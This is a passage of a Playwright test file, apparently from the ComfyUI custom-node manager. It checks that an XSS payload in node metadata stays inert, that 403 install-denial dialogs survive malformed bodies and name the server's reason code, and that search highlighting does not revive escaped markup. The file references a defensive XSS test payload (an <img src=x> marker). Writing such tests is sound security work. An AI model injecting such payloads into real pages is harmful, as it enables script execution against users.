).toBe(0);
|
||||
expect(
|
||||
sink.liveImgs,
|
||||
`an <img src=x> from the payload is live in the document. ${diagnostic}`,
|
||||
).toBe(0);
|
||||
expect(
|
||||
sink.firedGlobal,
|
||||
`the payload EXECUTED (window.__xss_fired is set). ${diagnostic}`,
|
||||
).toBeUndefined();
|
||||
});
|
||||
});
|
||||
|
||||
// ===========================================================================
|
||||
// client-side 403 denial text
|
||||
// ===========================================================================
|
||||
|
||||
// The selectors below are load-bearing and were arrived at the hard way.
|
||||
// `.p-dialog input` matches the Custom Nodes SEARCH box
|
||||
// (`.cn-manager-keywords`, in `.p-dialog-header`) before it matches the prompt
|
||||
// field, so a `.first()` on it silently types the URL into the search box:
|
||||
// install_via_git_url is never called, the denial modal never renders, and the
|
||||
// row fails as though the client produced nothing. Targeting
|
||||
// `.prompt-dialog-content input` hits the prompt on the first attempt.
|
||||
//
|
||||
// The general lesson: a selector that matches SOMETHING makes a broken fixture
|
||||
// look like a product failure, and only checking WHAT it matched tells the two
|
||||
// apart.
|
||||
test.describe('403 denial text', () => {
|
||||
test.beforeEach(async ({ page }) => {
|
||||
await page.goto('/');
|
||||
await waitForComfyUI(page);
|
||||
await routeNodeList(page, { p: makePack('p') });
|
||||
});
|
||||
|
||||
/** Drive the REAL "Install via Git URL" entry point: footer button ->
|
||||
* customPrompt (ComfyUI's PrimeVue dialog) -> install_via_git_url ->
|
||||
* the 403 arm at common.js:254. */
|
||||
async function installViaGitUrl(page: import('@playwright/test').Page, url: string) {
|
||||
// The REAL entry point, driven exactly as a user does it: footer button ->
|
||||
// customPrompt (common.js:149 -> app.extensionManager.dialog.prompt) ->
|
||||
// install_via_git_url -> the 403 arm at common.js:254.
|
||||
//
|
||||
// `.prompt-dialog-content input` is the load-bearing selector. A broader
|
||||
// `.p-dialog input` matches the Custom Nodes SEARCH box first, which is
|
||||
// silent: the URL lands in the search field, no request is made, and the
|
||||
// row fails at the denial assertion as though the client rendered nothing.
|
||||
await page.locator('.cn-manager-install-url').first().click();
|
||||
const input = page.locator('.prompt-dialog-content input').first();
|
||||
await expect(
|
||||
input,
|
||||
'precondition: the customPrompt dialog never rendered its input, so install_via_git_url was never called and the 403 arm was never reached — the row would prove nothing.',
|
||||
).toBeVisible({ timeout: 10_000 });
|
||||
await input.fill(url);
|
||||
await input.press('Enter');
|
||||
}
|
||||
|
||||
/** The denial modal is `app.ui.dialog.element` (`show_message` ->
|
||||
* `app.ui.dialog.show`, common.js:98). Several `.comfy-modal` nodes exist,
|
||||
* so filter by the denial copy rather than taking `.first()`. */
|
||||
function denialDialog(page: import('@playwright/test').Page) {
|
||||
return page.locator('.comfy-modal').filter({ hasText: /config\.ini/ }).first();
|
||||
}
|
||||
|
||||
const MALFORMED = [
|
||||
{ label: 'empty body', body: '' },
|
||||
{ label: 'non-JSON', body: 'not json' },
|
||||
{ label: 'JSON null', body: 'null' },
|
||||
{ label: 'JSON array', body: '[]' },
|
||||
{ label: 'reason is a number', body: '{"reason": 42}' },
|
||||
{ label: 'unknown reason code', body: '{"reason": "unknown_flag"}' },
|
||||
];
|
||||
|
||||
for (const variant of MALFORMED) {
|
||||
test(`403 with ${variant.label} falls back without throwing`, async ({ page }) => {
|
||||
// The client PARSES the 403 body to learn which condition failed, and
|
||||
// `res.json()` resolves for far more than an object: `null`, `[]`,
|
||||
// `"str"` and `3` all parse cleanly. `null.reason` would throw inside the
|
||||
// render path, while `[].reason` and `{"reason":42}` yield `undefined`
|
||||
// and would put the literal string "undefined" in front of the user.
|
||||
// `install_denial_message` guards each of those shapes and falls back to
|
||||
// the calling endpoint's own condition; this row is what holds that
|
||||
// guard in place, one variant per malformed shape.
|
||||
const errors: string[] = [];
|
||||
page.on('pageerror', (e) => errors.push(String(e)));
|
||||
|
||||
await page.route('**/v2/customnode/install/git_url', async (route) => {
|
||||
await route.fulfill({ status: 403, contentType: 'application/json', body: variant.body });
|
||||
});
|
||||
|
||||
await openManagerMenu(page);
|
||||
await openCustomNodesManager(page);
|
||||
await installViaGitUrl(page, 'https://github.com/example/pack');
|
||||
|
||||
const dialog = denialDialog(page);
|
||||
await expect(
|
||||
dialog,
|
||||
`${variant.label}: the denial dialog did not render its fallback text. A 403 whose body cannot be interpreted is STILL a denial and must still be explained.`,
|
||||
).toBeVisible({ timeout: 10_000 });
|
||||
|
||||
const text = (await dialog.textContent()) ?? '';
|
||||
expect(
|
||||
text,
|
||||
`${variant.label}: the rendered denial text contains the literal string "undefined" — a malformed body leaked through the reason lookup. text: ${text.slice(0, 300)}`,
|
||||
).not.toContain('undefined');
|
||||
expect(
|
||||
errors,
|
||||
`${variant.label}: the 403 handler threw. pageerrors: ${errors.join(' | ')}`,
|
||||
).toEqual([]);
|
||||
});
|
||||
}
|
||||
|
||||
test('the denial text is SELECTED BY the server reason code', async ({ page }) => {
|
||||
// CROSS-WIRED ON PURPOSE. Each install arm has its own denial text, so a
|
||||
// per-endpoint check cannot tell a server-DERIVED selection from a
|
||||
// hand-maintained constant that happens to match the endpoint it sits on.
|
||||
// Answering the git_url endpoint with the PIP reason code separates them:
|
||||
// a client that reads the server's reason names allow_pip_install, and a
|
||||
// client that prints a per-call-site literal names the other flag no
|
||||
// matter what the server said. That drift is what this row catches.
|
||||
await page.route('**/v2/customnode/install/git_url', async (route) => {
|
||||
await route.fulfill({
|
||||
status: 403,
|
||||
contentType: 'application/json',
|
||||
body: JSON.stringify({ reason: 'allow_pip_install' }),
|
||||
});
|
||||
});
|
||||
|
||||
await openManagerMenu(page);
|
||||
await openCustomNodesManager(page);
|
||||
await installViaGitUrl(page, 'https://github.com/example/pack');
|
||||
|
||||
const dialog = denialDialog(page);
|
||||
await expect(dialog).toBeVisible({ timeout: 10_000 });
|
||||
const text = (await dialog.textContent()) ?? '';
|
||||
|
||||
expect(
|
||||
text,
|
||||
`the server said reason="allow_pip_install" and the client must name THAT condition. Observed text names the other flag, i.e. the message is a hand-maintained constant per call site rather than being selected from the server's reason code. text: ${text.slice(0, 400)}`,
|
||||
).toContain('allow_pip_install');
|
||||
});
|
||||
|
||||
test('the denial text states the SERVER\'s restart requirement', async ({ page }) => {
|
||||
// THE STANDING GUARD FOR A HAND-MAINTAINED COPY. Only the reason CODE is
|
||||
// derived from the server; the wording lives in js/common.js, and nothing
|
||||
// makes the two move together. They had already come apart: the server
|
||||
// constants say the flag and network_mode are read once at STARTUP, so a
|
||||
// user who edits config.ini and retries is denied identically — and the
|
||||
// client text omitted it, leaving that user with a correct edit and no hint
|
||||
// that a restart is what is missing.
|
||||
//
|
||||
// The expected sentence is READ OUT of the server constants
|
||||
// (serverInstallDenialRestartClause), not typed here, so this row cannot
|
||||
// become a third copy that drifts on its own. Reword the server and the
|
||||
// client must follow; drop it from the server and this row says so.
|
||||
const restartClause = serverInstallDenialRestartClause();
|
||||
|
||||
await page.route('**/v2/customnode/install/git_url', async (route) => {
|
||||
await route.fulfill({
|
||||
status: 403,
|
||||
contentType: 'application/json',
|
||||
body: JSON.stringify({ reason: 'allow_git_url_install' }),
|
||||
});
|
||||
});
|
||||
|
||||
await openManagerMenu(page);
|
||||
await openCustomNodesManager(page);
|
||||
await installViaGitUrl(page, 'https://github.com/example/pack');
|
||||
|
||||
const dialog = denialDialog(page);
|
||||
await expect(dialog).toBeVisible({ timeout: 10_000 });
|
||||
const text = (await dialog.textContent()) ?? '';
|
||||
|
||||
expect(
|
||||
text,
|
||||
`the client denial text does not state the restart requirement the SERVER states. ` +
|
||||
`A user who edits config.ini and retries is denied identically, with nothing in ` +
|
||||
`the UI saying a restart is what is missing.\n` +
|
||||
`expected (from SECURITY_MESSAGE_FLAG_*): ${JSON.stringify(restartClause)}\n` +
|
||||
`observed dialog text: ${JSON.stringify(text.slice(0, 600))}`,
|
||||
).toContain(restartClause);
|
||||
});
|
||||
});
|
||||
|
||||
// ===========================================================================
|
||||
// search-keyword highlight — the grid re-renders matched cells from
|
||||
// textContent, which would undo the formatter escaping unless the bundle
|
||||
// escapes every slice it splices (see tests/test_grid_highlight_escaping.py)
|
||||
// ===========================================================================
|
||||
|
||||
test.describe('keyword highlight re-render', () => {
|
||||
test.use({ viewport: { width: 2600, height: 1000 } });
|
||||
|
||||
test.beforeEach(async ({ page }) => {
|
||||
await page.goto('/');
|
||||
await waitForComfyUI(page);
|
||||
});
|
||||
|
||||
test('a keyword matching inside an escaped raw field stays inert after highlight', async ({ page }) => {
|
||||
// The keyword must match VISIBLE text: the match cache decodes markup-
|
||||
// shaped values to their text, and a bare <img> has none.
|
||||
const payload = XSS_PAYLOAD + 'PWN_author';
|
||||
await routeNodeList(page, { p: makePack('p', { author: payload }) });
|
||||
await openManagerMenu(page);
|
||||
await openCustomNodesManager(page);
|
||||
|
||||
const search = page.locator('.cn-manager-keywords').first();
|
||||
await expect(search, 'precondition: search box not rendered').toBeVisible();
|
||||
await search.fill('PWN');
|
||||
|
||||
// PRECONDITION: the highlighter actually ran on the payload cell.
|
||||
await expect(
|
||||
page.locator(`${GRID} .cn-pack-author mark`).first(),
|
||||
'precondition: no highlight marker rendered in the author cell, so the re-render path was never exercised',
|
||||
).toBeVisible({ timeout: 10_000 });
|
||||
|
||||
await expectInert(page, GRID, payload, 'img', 'author after keyword highlight');
|
||||
});
|
||||
});
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user